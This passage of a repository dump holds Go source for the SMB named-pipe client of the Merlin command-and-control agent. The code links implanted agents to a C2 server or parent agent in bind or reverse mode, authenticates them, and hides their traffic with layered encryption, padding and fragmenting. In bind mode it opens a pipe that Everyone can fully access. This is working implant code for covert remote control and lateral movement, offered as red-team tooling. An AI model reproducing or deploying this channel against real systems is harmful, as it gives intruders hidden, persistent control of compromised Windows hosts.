provided\")\n\t}\n\tclient.agentID = config.AgentID\n\tif config.ListenerID == uuid.Nil {\n\t\treturn nil, fmt.Errorf(\"clients/smb.New(): a nil Listener UUID was provided\")\n\t}\n\n\tswitch strings.ToLower(config.Mode) {\n\tcase \"smb-bind\":\n\t\tclient.mode = BIND\n\tcase \"smb-reverse\":\n\t\tclient.mode = REVERSE\n\tdefault:\n\t\tclient.mode = BIND\n\t}\n\n\tclient.listenerID = config.ListenerID\n\tclient.psk = config.PSK\n\n\t// Parse Address and validate it\n\tif len(config.Address) <= 0 {\n\t\treturn nil, fmt.Errorf(\"a configuration address value was not provided\")\n\t}\n\t// \\\\.\\pipe\\MerlinPipe\n\tt := strings.Split(config.Address[0], \"\\\\\")\n\tif len(t) < 5 {\n\t\treturn nil, fmt.Errorf(\"clients/smb.New(): invalid SMB address: %s\\n Try \\\\\\\\.\\\\pipe\\\\merlin\", config.Address[0])\n\t}\n\tif t[1] != \".\" {\n\t\t_, err := net.ResolveTCPAddr(\"tcp\", fmt.Sprintf(\"%s:445\", t[1]))\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"clients/smb.New(): there was an error validating the input network address: %s\", err)\n\t\t}\n\t}\n\n\tswitch client.mode {\n\tcase BIND:\n\t\t// Can only bind to \".\"\n\t\tclient.address = fmt.Sprintf(\"\\\\\\\\.\\\\pipe\\\\%s\", t[4])\n\tdefault:\n\t\tclient.address = config.Address[0]\n\t}\n\n\t// Set secret for encryption\n\tk := sha256.Sum256([]byte(client.psk))\n\tclient.secret = k[:]\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"new client PSK: %s\", client.psk))\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"new client Secret: %x\", client.secret))\n\n\t//Convert Padding from string to an integer\n\tvar err error\n\tif config.Padding != \"\" {\n\t\tclient.paddingMax, err = strconv.Atoi(config.Padding)\n\t\tif err != nil {\n\t\t\treturn &client, fmt.Errorf(\"there was an error converting the padding max to an integer:\\r\\n%s\", err)\n\t\t}\n\t} else {\n\t\tclient.paddingMax = 0\n\t}\n\n\t// Authenticator\n\tswitch strings.ToLower(config.AuthPackage) {\n\tcase \"opaque\":\n\t\tclient.authenticator = opaque.New(config.AgentID)\n\tcase \"none\":\n\t\tclient.authenticator = none.New(config.AgentID)\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"an authenticator must be provided (e.g., 'opaque'\")\n\t}\n\n\t// Transformers\n\ttransforms := strings.Split(config.Transformers, \",\")\n\tfor _, transform := range transforms {\n\t\tvar t transformer.Transformer\n\t\tswitch strings.ToLower(transform) {\n\t\tcase \"aes\":\n\t\t\tt = aes.NewEncrypter()\n\t\tcase \"base64-byte\":\n\t\t\tt = base64.NewEncoder(base64.BYTE)\n\t\tcase \"base64-string\":\n\t\t\tt = base64.NewEncoder(base64.STRING)\n\t\tcase \"gob-base\":\n\t\t\tt = gob2.NewEncoder(gob2.BASE)\n\t\tcase \"gob-string\":\n\t\t\tt = gob2.NewEncoder(gob2.STRING)\n\t\tcase \"hex-byte\":\n\t\t\tt = hex.NewEncoder(hex.BYTE)\n\t\tcase \"hex-string\":\n\t\t\tt = hex.NewEncoder(hex.STRING)\n\t\tcase \"jwe\":\n\t\t\tt = jwe.NewEncrypter()\n\t\tcase \"rc4\":\n\t\t\tt = rc4.NewEncrypter()\n\t\tcase \"xor\":\n\t\t\tt = xor.NewEncrypter()\n\t\tdefault:\n\t\t\terr := fmt.Errorf(\"clients/smb.New(): unhandled transform type: %s\", transform)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t\tclient.transformers = append(client.transformers, t)\n\t}\n\n\tcli.Message(cli.INFO, \"Client information:\")\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tProtocol: %s\", &client))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tAddress: %s\", client.address))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tListener: %s\", client.listenerID))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tAuthenticator: %s\", client.authenticator))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tTransforms: %+v\", client.transformers))\n\tcli.Message(cli.INFO, fmt.Sprintf(\"\\tPadding: %d\", client.paddingMax))\n\n\treturn &client, nil\n}\n\n// Initial executes the specific steps required to establish a connection with the C2 server and checkin or register an agent\nfunc (client *Client) Initial() (err error) {\n\tcli.Message(cli.DEBUG, \"Entering clients/smb.Initial() function\")\n\tdefer cli.Message(cli.DEBUG, fmt.Sprintf(\"clients/smb.Initial(): leaving function with error: %+v\", err))\n\n\terr = client.Connect()\n\tif err != nil {\n\t\terr = fmt.Errorf(\"clients/smb.Initial(): %s\", err)\n\t\treturn\n\t}\n\t<-client.connected\n\n\t// Authenticate\n\terr = client.Authenticate(messages.Base{})\n\treturn err\n}\n\n// Authenticate is the top-level function used to authenticate an agent to server using a specific authentication protocol\n// The function must take in a Base message for when the C2 server requests re-authentication through a message\nfunc (client *Client) Authenticate(msg messages.Base) (err error) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/smb.Authenticate(): entering into function with message: %+v\", msg))\n\tdefer cli.Message(cli.DEBUG, fmt.Sprintf(\"clients/tcp.Authenticate(): leaving function with error: %+v\", err))\n\n\tclient.Lock()\n\tclient.authenticated = false\n\tclient.Unlock()\n\tif len(client.authComplete) > 0 {\n\t\t<-client.authComplete\n\t}\n\n\tvar authenticated bool\n\t// Reset the Agent's PSK\n\tk := sha256.Sum256([]byte(client.psk))\n\tclient.Lock()\n\tclient.secret = k[:]\n\tclient.Unlock()\n\n\t// Repeat until authenticator is complete and Agent is authenticated\n\tfor {\n\t\tmsg, authenticated, err = client.authenticator.Authenticate(msg)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\t// An empty message was received indicating to exit the function\n\t\tif msg.Type == 0 {\n\t\t\treturn\n\t\t}\n\n\t\t// Once authenticated, update the client's secret used to encrypt messages\n\t\tif authenticated {\n\t\t\tclient.Lock()\n\t\t\tclient.authenticated = true\n\t\t\tclient.Unlock()\n\t\t\tvar key []byte\n\t\t\tkey, err = client.authenticator.Secret()\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\t// Don't update the secret if the authenticator returned an empty key\n\t\t\tif len(key) > 0 {\n\t\t\t\tclient.Lock()\n\t\t\t\tclient.secret = key\n\t\t\t\tclient.Unlock()\n\t\t\t}\n\t\t}\n\n\t\tif msg.Type == messages.OPAQUE {\n\t\t\t// Send the message to the server\n\t\t\tvar msgs []messages.Base\n\t\t\tmsgs, err = client.SendAndWait(msg)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\t// Add response message to the next loop iteration\n\t\t\tif len(msgs) > 0 {\n\t\t\t\t// Don't add IDLE messages, just continue on\n\t\t\t\tif msgs[0].Type != messages.IDLE {\n\t\t\t\t\tmsg = msgs[0]\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\t_, err = client.Send(msg)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\t// If the Agent is authenticated, exit the loop and return the function\n\t\tif authenticated {\n\t\t\tclient.authComplete <- true\n\t\t\treturn\n\t\t}\n\t}\n}\n\n// Connect establish a connection with the remote host depending on the Client's type (e.g., BIND or REVERSE)\nfunc (client *Client) Connect() (err error) {\n\tcli.Message(cli.DEBUG, \"clients/smb.Connect(): entering into function\")\n\tdefer cli.Message(cli.DEBUG, fmt.Sprintf(\"clients/smb.Connect(): leaving function with error %+v\", err))\n\n\t// Ensure the connected channel is empty. If the Agent's sleep is less than 0, the channel might be full from a prior reconnect\n\tif len(client.connected) > 0 {\n\t\t<-client.connected\n\t}\n\n\tclient.Lock()\n\tdefer client.Unlock()\n\n\tswitch client.mode {\n\tcase BIND:\n\t\tif client.listener == nil {\n\t\t\t// Create the security descriptor\n\n\t\t\t// D = Discretionary Access List (DACL)\n\t\t\t// A = Allow\n\t\t\t// FA = FILE_ALL_ACCESS, FR = FILE_GENERIC_READ\n\t\t\t// https://learn.microsoft.com/en-us/windows/win32/secauthz/ace-strings\n\t\t\t// SY = SYSTEM, BA = BUILT-IN ADMINISTRATORS, CO = CREATOR OWNER, WD = EVERYONE, AN = ANONYMOUS\n\t\t\t// https://learn.microsoft.com/en-us/windows/win32/secauthz/sid-strings\n\t\t\t// Leave the Owner \"O:\" off, and it will be set to the user that created the named pipe by default\n\t\t\t// Leave the Group \"G:\" off, and it will be set to the \"None\" group by default\n\t\t\tsddl := \"D:(A;;FA;;;SY)(A;;FA;;;BA)(A;;FA;;;CO)(A;;FA;;;WD)(A;;FR;;;AN)\"\n\n\t\t\tvar sd *windows.SECURITY_DESCRIPTOR\n\t\t\tsd, err = windows.SecurityDescriptorFromString(sddl)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"clients/smb.Connect(): there was an error converting the SDDL string \\\"%s\\\" to a SECURITY_DESCRIPTOR: %s\", sddl, err)\n\t\t\t}\n\n\t\t\t// Create the Security Attributes\n\t\t\t// https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa379560(v=vs.85)\n\t\t\tsa := windows.SecurityAttributes{\n\t\t\t\tLength:             uint32(unsafe.Sizeof(sd)),\n\t\t\t\tSecurityDescriptor: sd,\n\t\t\t\tInheritHandle:      1,\n\t\t\t}\n\t\t\topenMode := windows.PIPE_ACCESS_DUPLEX | windows.FILE_FLAG_OVERLAPPED | windows.FILE_FLAG_FIRST_PIPE_INSTANCE\n\t\t\tpipeMode := windows.PIPE_TYPE_BYTE | windows.PIPE_READMODE_BYTE | windows.PIPE_WAIT // Effectively equals 0 and could just specify the first flag\n\t\t\tclient.listener, err = npipe.NewPipeListener(client.address, uint32(openMode), uint32(pipeMode), windows.PIPE_UNLIMITED_INSTANCES, 512, 512, 0, &sa)\n\t\t\tif err != nil {\n\t\t\t\t// Try again without FILE_FLAG_FIRST_PIPE_INSTANCE\n\t\t\t\topenMode = windows.PIPE_ACCESS_DUPLEX | windows.FILE_FLAG_OVERLAPPED\n\t\t\t\tclient.listener, err = npipe.NewPipeListener(client.address, uint32(openMode), uint32(pipeMode), windows.PIPE_UNLIMITED_INSTANCES, 512, 512, 0, &sa)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn fmt.Errorf(\"clients/smb.Connect(): there was an error listening on %s: %s\", client.address, err)\n\t\t\t\t}\n\t\t\t}\n\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Started %s on %s\", client, client.address))\n\t\t}\n\n\t\t// Listen for initial connection from upstream agent\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Listening for incoming connection at %s...\", time.Now().UTC().Format(time.RFC3339)))\n\t\tclient.connection, err = client.listener.Accept()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"clients/smb.Connect(): there was an error accepting the connection: %s\", err)\n\t\t}\n\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Received new connection from %s\", client.connection.RemoteAddr()))\n\t\t// Send gratuitous checkin to provide parent Agent with linked agent data\n\t\t// Really only need to do this if the sleep is less than zero because else the normal checkin will happen\n\t\tif client.authenticated {\n\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Sending gratuitious StatusCheckIn at %s...\", time.Now().UTC().Format(time.RFC3339)))\n\t\t\t_, err = client.Send(messages.Base{ID: client.agentID, Type: messages.CHECKIN})\n\t\t}\n\t\tclient.connected <- true\n\t\treturn err\n\tcase REVERSE:\n\t\tclient.connection, err = npipe.Dial(client.address)\n\t\tif err != nil {\n\t\t\tclient.connection = nil\n\t\t\terr = fmt.Errorf(\"clients/smb.Connect(): there was an error connecting to %s: %s\", client.address, err)\n\t\t\treturn\n\t\t}\n\t\tcli.Message(cli.SUCCESS, fmt.Sprintf(\"Successfully connected to %s at %s\", client.address, time.Now().UTC().Format(time.RFC3339)))\n\t\tclient.connected <- true\n\t\terr = nil\n\t\treturn\n\tdefault:\n\t\treturn fmt.Errorf(\"clients/smb.Connect(): Unhandled Client mode %d\", client.mode)\n\t}\n}\n\n// Construct takes in a messages.Base structure that is ready to be sent to the server and runs all the configured transforms\n// on it to encode and encrypt it.\nfunc (client *Client) Construct(msg messages.Base) (data []byte, err error) {\n\tfor i := len(client.transformers); i > 0; i-- {\n\t\tif i == len(client.transformers) {\n\t\t\t// First call should always take a Base message\n\t\t\tdata, err = client.transformers[i-1].Construct(msg, client.secret)\n\t\t} else {\n\t\t\tdata, err = client.transformers[i-1].Construct(data, client.secret)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"clients/smb.Construct(): there was an error calling the transformer construct function: %s\", err)\n\t\t}\n\t}\n\treturn\n}\n\n// Deconstruct takes in data returned from the server and runs all the Agent's transforms on it until\n// a messages.Base structure is returned. The key is used for decryption transforms\nfunc (client *Client) Deconstruct(data []byte) (messages.Base, error) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/smb.Deconstruct(): entering into function with message: %+v\", data))\n\t//fmt.Printf(\"Deconstructing %d bytes with key: %x\\n\", len(data), client.secret)\n\tfor _, transform := range client.transformers {\n\t\t//fmt.Printf(\"Transformer %T: %+v\\n\", transform, transform)\n\t\tret, err := transform.Deconstruct(data, client.secret)\n\t\tif err != nil {\n\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"clients/smb.Deconstruct(): unable to deconstruct with Agent's secret, retrying with PSK\"))\n\t\t\t// Try to see if the PSK works\n\t\t\tk := sha256.Sum256([]byte(client.psk))\n\t\t\tret, err = transform.Deconstruct(data, k[:])\n\t\t\tif err != nil {\n\t\t\t\treturn messages.Base{}, err\n\t\t\t}\n\t\t\t// If the PSK worked, assume the agent is unauthenticated to the server\n\t\t\tclient.authenticated = false\n\t\t\tclient.secret = k[:]\n\t\t}\n\t\tswitch ret.(type) {\n\t\tcase []uint8:\n\t\t\tdata = ret.([]byte)\n\t\tcase string:\n\t\t\tdata = []byte(ret.(string)) // Probably not what I should be doing\n\t\tcase messages.Base:\n\t\t\t//fmt.Printf(\"pkg/listeners.Deconstruct(): returning Base message: %+v\\n\", ret.(messages.Base))\n\t\t\treturn ret.(messages.Base), nil\n\t\tdefault:\n\t\t\treturn messages.Base{}, fmt.Errorf(\"clients/smb.Deconstruct(): unhandled data type for Deconstruct(): %T\", ret)\n\t\t}\n\t}\n\treturn messages.Base{}, fmt.Errorf(\"clients/smb.Deconstruct(): unable to transform data into messages.Base structure\")\n}\n\n// Listen waits for incoming data on an established SMB connection, deconstructs the data into a Base messages, and returns them\nfunc (client *Client) Listen() (returnMessages []messages.Base, err error) {\n\tcli.Message(cli.DEBUG, \"clients/smb.Listen(): entering into function\")\n\tdefer cli.Message(cli.DEBUG, fmt.Sprintf(\"clients/smb.Listen(): leaving function with error %+v and return messages: %+v\", err, returnMessages))\n\n\t// Repair broken connections\n\tif client.connection == nil {\n\t\tswitch client.mode {\n\t\tcase BIND:\n\t\t\t// If the connection is empty and this is a BIND agent, wait for connection from Parent Agent\n\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Client connection was empty. Re-establishing connection at %s...\", time.Now().UTC().Format(time.RFC3339)))\n\t\t\terr = client.Connect()\n\t\t\tif err != nil {\n\t\t\t\terr = fmt.Errorf(\"clients/smb.Listen(): %s\", err)\n\t\t\t\treturn\n\t\t\t}\n\t\tcase REVERSE:\n\t\t\tif !client.sending {\n\t\t\t\t// If the Agent's sleep is 0, which isn't known in this package, then there will never be a message to send and this will cause a deadlock\n\t\t\t\t// Return a message so that there is a message to send, forcing the communication\n\t\t\t\tclient.Lock()\n\t\t\t\tclient.sending = true\n\t\t\t\tclient.Unlock()\n\t\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Client connection was empty and sending signal is false, returning gratuitious StatusCheckIn messages at %s\", time.Now().UTC().Format(time.RFC3339)))\n\t\t\t\treturn []messages.Base{messages.Base{ID: client.agentID, Type: messages.CHECKIN}}, nil\n\t\t\t} else {\n\t\t\t\t// If the connection is empty and this is a REVERSE agent, wait here until the connection is established\n\t\t\t\tcli.Message(cli.INFO, fmt.Sprintf(\"Waiting for a client connection before listening for messages at %s\", time.Now().UTC().Format(time.RFC3339)))\n\t\t\t\t<-client.connected\n\t\t\t\tcli.Message(cli.SUCCESS, fmt.Sprintf(\"Client connection re-esablished at %s\", time.Now().UTC().Format(time.RFC3339)))\n\t\t\t}\n\t\t}\n\t}\n\n\t// Wait for the response\n\tcli.Message(cli.NOTE, fmt.Sprintf(\"Listening for incoming messages from %s on %s at %s...\", client.connection.RemoteAddr(), client.connection.LocalAddr(), time.Now().UTC().Format(time.RFC3339)))\n\n\tvar n int\n\tvar tag uint32\n\tvar length uint64\n\tvar buff bytes.Buffer\n\tfor {\n\t\trespData := make([]byte, 4096)\n\n\t\tn, err = client.connection.Read(respData)\n\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/smb.Listen(): Read %d bytes from connection %s at %s\", n, client.connection.RemoteAddr(), time.Now().UTC().Format(time.RFC3339)))\n\t\tif err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"clients/smb.Listen():  received EOF from %s, the Agent's connection has been reset\", client.connection.RemoteAddr()))\n\t\t\t\terr = nil // Don't return an error when it is EOF because it will increase the max failed checkin count\n\t\t\t\tclient.connection = nil\n\t\t\t\treturn\n\t\t\t} else if strings.Contains(err.Error(), \"The pipe has been ended\") {\n\t\t\t\tcli.Message(cli.WARN, fmt.Sprintf(\"clients/smb.Listen(): the pipe %s has been ended and the Agent's connection has been reset\", client.connection.RemoteAddr()))\n\t\t\t\terr = nil // Don't return an error because it will increase the max failed checkin count\n\t\t\t\tclient.connection = nil\n\t\t\t\treturn\n\t\t\t}\n\t\t\terr = fmt.Errorf(\"clients/smb.Listen(): there was an error reading the message from the connection with %s: %s\", client.connection.RemoteAddr(), err)\n\t\t\treturn\n\t\t}\n\n\t\t// Add the bytes to the buffer\n\t\tn, err = buff.Write(respData[:n])\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"clients/smb.Listen(): there was an error writing %d incoming bytes to the local buffer: %s\", n, err)\n\t\t\tclient.connection = nil\n\t\t\treturn\n\t\t}\n\n\t\t// If this is the first read on the connection determine the tag and data length\n\t\tif tag == 0 {\n\t\t\t// Ensure we have enough data to read the tag/type which is 4-bytes\n\t\t\tif buff.Len() < 4 {\n\t\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/smb.Listen(): Need at least 4 bytes in the buffer to read the Type/Tag for TLV but only have %d\", buff.Len()))\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\ttag = binary.BigEndian.Uint32(respData[:4])\n\t\t\tif tag != 1 {\n\t\t\t\terr = fmt.Errorf(\"clients/smb.Listen(): Expected a type/tag value of 1 for TLV but got %d\", tag)\n\t\t\t\tclient.connection = nil\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\tif length == 0 {\n\t\t\t// Ensure we have enough data to read the Length from TLV which is 8-bytes plus the 4-byte tag/type size\n\t\t\tif buff.Len() < 12 {\n\t\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/smb.Listen(): Need at least 12 bytes in the buffer to read the Length for TLV but only have %d\", buff.Len()))\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tlength = binary.BigEndian.Uint64(respData[4:12])\n\t\t}\n\n\t\t// If we've read all the data according to the length provided in TLV, then break the for loop\n\t\t// Type/Tag size is 4-bytes, Length size is 8-bytes for TLV\n\t\tif uint64(buff.Len()) == length+4+8 {\n\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/smb.Listen(): Finished reading data length of %d bytes into the buffer and moving forward to deconstruct the data\", length))\n\t\t\tbreak\n\t\t} else {\n\t\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/smb.Listen(): Read %d of %d bytes into the buffer\", buff.Len(), length))\n\t\t}\n\t}\n\tcli.Message(cli.NOTE, fmt.Sprintf(\"Read %d bytes from connection %s at %s\", buff.Len(), client.connection.RemoteAddr(), time.Now().UTC().Format(time.RFC3339)))\n\tvar msg messages.Base\n\t// Type/Tag size is 4-bytes, Length size is 8-bytes for a total of 12-bytes for TLV\n\tmsg, err = client.Deconstruct(buff.Bytes()[12:])\n\tif err != nil {\n\t\terr = fmt.Errorf(\"clients/smb.Listen(): there was an error deconstructing the data: %s\", err)\n\t\treturn\n\t}\n\n\treturnMessages = append(returnMessages, msg)\n\treturn\n}\n\n// Send takes in a Merlin message structure, performs any encoding or encryption, converts it to a delegate and writes it to the output stream.\n// This function DOES not wait or listen for response messages.\nfunc (client *Client) Send(m messages.Base) (returnMessages []messages.Base, err error) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/smb.Send(): Entering into function with message: %+v\", m))\n\tdefer cli.Message(cli.DEBUG, fmt.Sprintf(\"clients/smb.Send(): Leaving function with error: %+v and messages: %+v\", err, returnMessages))\n\n\t// Recover connection\n\tif client.connection == nil {\n\t\tswitch client.mode {\n\t\tcase BIND:\n\t\t\t// If the connection is empty and this is a BIND agent, wait here for listener to receive a connection\n\t\t\tcli.Message(cli.INFO, fmt.Sprintf(\"Waiting for a client connection before sending message at %s\", time.Now().UTC().Format(time.RFC3339)))\n\t\t\t<-client.connected\n\t\tcase REVERSE:\n\t\t\t// Signal to the listen() function that we are attempting to recover the connection\n\t\t\tclient.Lock()\n\t\t\tclient.sending = true\n\t\t\tclient.Unlock()\n\t\t\t// If the connection is empty and this is a REVERSE agent, attempt to connect to the listener\n\t\t\tcli.Message(cli.NOTE, fmt.Sprintf(\"Client connection was empty. Re-establishing connection at %s...\", time.Now().UTC().Format(time.RFC3339)))\n\t\t\terr = client.Connect()\n\t\t\tif err != nil {\n\t\t\t\terr = fmt.Errorf(\"clients/smb.Send(): %s\", err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\t// Once the connection has successfully been recovered, and a message has been sent, reset the sending signal for the listen() function\n\t\t\tdefer func() {\n\t\t\t\tclient.Lock()\n\t\t\t\tclient.sending = false\n\t\t\t\tclient.Unlock()\n\t\t\t}()\n\t\t}\n\t}\n\n\tif !client.authenticated && m.Type != messages.OPAQUE {\n\t\tcli.Message(cli.INFO, fmt.Sprintf(\"Waiting for authentication to complete before sending message at %s\", time.Now().UTC().Format(time.RFC3339)))\n\t\t<-client.authComplete\n\t\tcli.Message(cli.INFO, fmt.Sprintf(\"Authentication completed, continuing with sending held message at %s\", time.Now().UTC().Format(time.RFC3339)))\n\t}\n\n\t// Set the message padding\n\tif client.paddingMax > 0 {\n\t\t// #nosec G404 -- Random number does not impact security\n\t\tm.Padding = core.RandStringBytesMaskImprSrc(rand.Intn(client.paddingMax))\n\t}\n\n\tdata, err := client.Construct(m)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"clients/smb.Send(): there was an error constructing the data: %s\", err)\n\t\treturn\n\t}\n\n\tdelegate := messages.Delegate{\n\t\tListener: client.listenerID,\n\t\tAgent:    client.agentID,\n\t\tPayload:  data,\n\t}\n\n\t// Convert messages.Base to gob\n\t// Still need this for agent to agent message encoding\n\tdelegateBytes := new(bytes.Buffer)\n\terr = gob.NewEncoder(delegateBytes).Encode(delegate)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"there was an error encoding the %s message to a gob:\\r\\n%s\", m.Type, err)\n\t\treturn\n\t}\n\n\t// Add in Tag/Type and Length for TLV\n\ttag := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(tag, 1)\n\tlength := make([]byte, 8)\n\tbinary.BigEndian.PutUint64(length, uint64(delegateBytes.Len()))\n\n\t// Create TLV\n\toutData := append(tag, length...)\n\toutData = append(outData, delegateBytes.Bytes()...)\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/smb.Send(): Added Tag: %d and Length: %d to data size of %d\\n\", tag, uint64(delegateBytes.Len()), len(outData)))\n\n\tcli.Message(cli.NOTE, fmt.Sprintf(\"Sending %s message to %s from %s at %s\", m.Type, client.connection.RemoteAddr(), client.connection.LocalAddr(), time.Now().UTC().Format(time.RFC3339)))\n\n\t// Write the message\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Writing message size: %d to: %s\", delegateBytes.Len(), client.connection.RemoteAddr()))\n\n\t// Split into fragments of MaxSize\n\tfragments := int(math.Ceil(float64(len(outData)) / float64(MaxSize)))\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/smb.Send(): SMB data size is: %d, max SMB fragment size is %d, creating %d fragments\", len(outData), MaxSize, fragments))\n\tvar i int\n\tsize := len(outData)\n\tfor i < fragments {\n\t\tstart := i * MaxSize\n\t\tvar stop int\n\t\t// if bytes remaining are less than max size, read until the end\n\t\tif size < MaxSize {\n\t\t\tstop = len(outData)\n\t\t} else {\n\t\t\tstop = (i + 1) * MaxSize\n\t\t}\n\t\tvar n int\n\t\tn, err = client.connection.Write(outData[start:stop])\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"clients/smb.Send(): there was an error writing SMB fragment %d of %d to the connection with %s: %s\", i, fragments, client.connection.RemoteAddr(), err)\n\t\t\treturn\n\t\t}\n\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/smb.Send(): Wrote %d bytes, SMB fragment %d of %d, to %s\", n, i+1, fragments, client.connection.RemoteAddr()))\n\t\ti++\n\t\tsize = size - MaxSize\n\t}\n\treturn\n}\n\n// SendAndWait takes in a Merlin message, encodes/encrypts it, and writes it to the output stream and then waits for response\n// messages and returns them\nfunc (client *Client) SendAndWait(m messages.Base) (returnMessages []messages.Base, err error) {\n\tcli.Message(cli.DEBUG, \"Entering into clients/smb.SendAndWait()...\")\n\n\t// Send\n\treturnMessages, err = client.Send(m)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"clients/smb.SendAndWait(): %s\", err)\n\t\treturn\n\t}\n\n\t// Listen\n\treturn client.Listen()\n}\n\n// Get is a generic function that is used to retrieve the value of a Client's field\nfunc (client *Client) Get(key string) (value string) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/smb.Get(): entering into function with key: %s\", key))\n\tdefer cli.Message(cli.DEBUG, fmt.Sprintf(\"clients/smb.Get(): leaving function with value: %s\", value))\n\tswitch strings.ToLower(key) {\n\tcase \"ja3\":\n\t\treturn \"\"\n\tcase \"paddingmax\":\n\t\tvalue = strconv.Itoa(client.paddingMax)\n\tcase \"protocol\":\n\t\tvalue = client.String()\n\tdefault:\n\t\tvalue = fmt.Sprintf(\"unknown client configuration setting: %s\", key)\n\t}\n\treturn\n}\n\n// Set is a generic function that is used to modify a Client's field values\nfunc (client *Client) Set(key string, value string) (err error) {\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/smb.Set(): entering into function with key: %s, value: %s\", key, value))\n\tdefer cli.Message(cli.DEBUG, fmt.Sprintf(\"clients/smb.Set(): exiting function with err: %v\", err))\n\tclient.Lock()\n\tdefer client.Unlock()\n\n\tswitch strings.ToLower(key) {\n\tcase \"addr\":\n\t\t// Validate the address\n\t\t// \\\\.\\pipe\\MerlinPipe\n\t\tt := strings.Split(value, \"\\\\\")\n\t\tif len(t) < 5 {\n\t\t\terr = fmt.Errorf(\"clients/smb.Set(): invalid SMB address: %s\\n Try \\\\\\\\.\\\\pipe\\\\merlin\", value)\n\t\t\treturn\n\t\t}\n\t\tif t[1] != \".\" {\n\t\t\t_, err = net.ResolveTCPAddr(\"tcp\", fmt.Sprintf(\"%s:445\", t[1]))\n\t\t\tif err != nil {\n\t\t\t\terr = fmt.Errorf(\"clients/smb.Set(): there was an error validating the input network address: %s\", err)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"clients/tcp.Set(): there was an error parsing the provide address %s : %s\", value, err)\n\t\t\treturn\n\t\t}\n\t\t// Close the connection\n\t\terr = client.connection.Close()\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"clients/tcp.Set(): there was an error closing the connection: %s\", err)\n\t\t\treturn\n\t\t}\n\t\tclient.connection = nil\n\t\tif client.mode == BIND {\n\t\t\t// Close the listener\n\t\t\terr = client.listener.Close()\n\t\t\tif err != nil {\n\t\t\t\terr = fmt.Errorf(\"clients/tcp.Set(): there was an error closing the listener: %s\", err)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\tclient.listener = nil\n\t\tclient.address = value\n\tcase \"listener\":\n\t\tvar id uuid.UUID\n\t\tid, err = uuid.Parse(value)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"clients/smb.Set(): %s\", err)\n\t\t}\n\t\tclient.listenerID = id\n\tcase \"paddingmax\":\n\t\tclient.paddingMax, err = strconv.Atoi(value)\n\tcase \"secret\":\n\t\tclient.secret = []byte(value)\n\tdefault:\n\t\terr = fmt.Errorf(\"unknown tcp client setting: %s\", key)\n\t}\n\treturn\n}\n\n// String returns the type of SMB client\nfunc (client *Client) String() string {\n\tswitch client.mode {\n\tcase BIND:\n\t\treturn \"smb-bind\"\n\tcase REVERSE:\n\t\treturn \"smb-reverse\"\n\tdefault:\n\t\treturn \"smb-unhandled\"\n\t}\n}\n\n// Synchronous identifies if the client connection is synchronous or asynchronous, used to determine how and when messages\n// can be sent/received.\nfunc (client *Client) Synchronous() bool {\n\tswitch client.mode {\n\tcase BIND:\n\t\treturn true\n\tcase REVERSE:\n\t\treturn true\n\tdefault:\n\t\treturn false\n\t}\n}\n"
  },
  {
    "path": "clients/tcp/tcp.go",
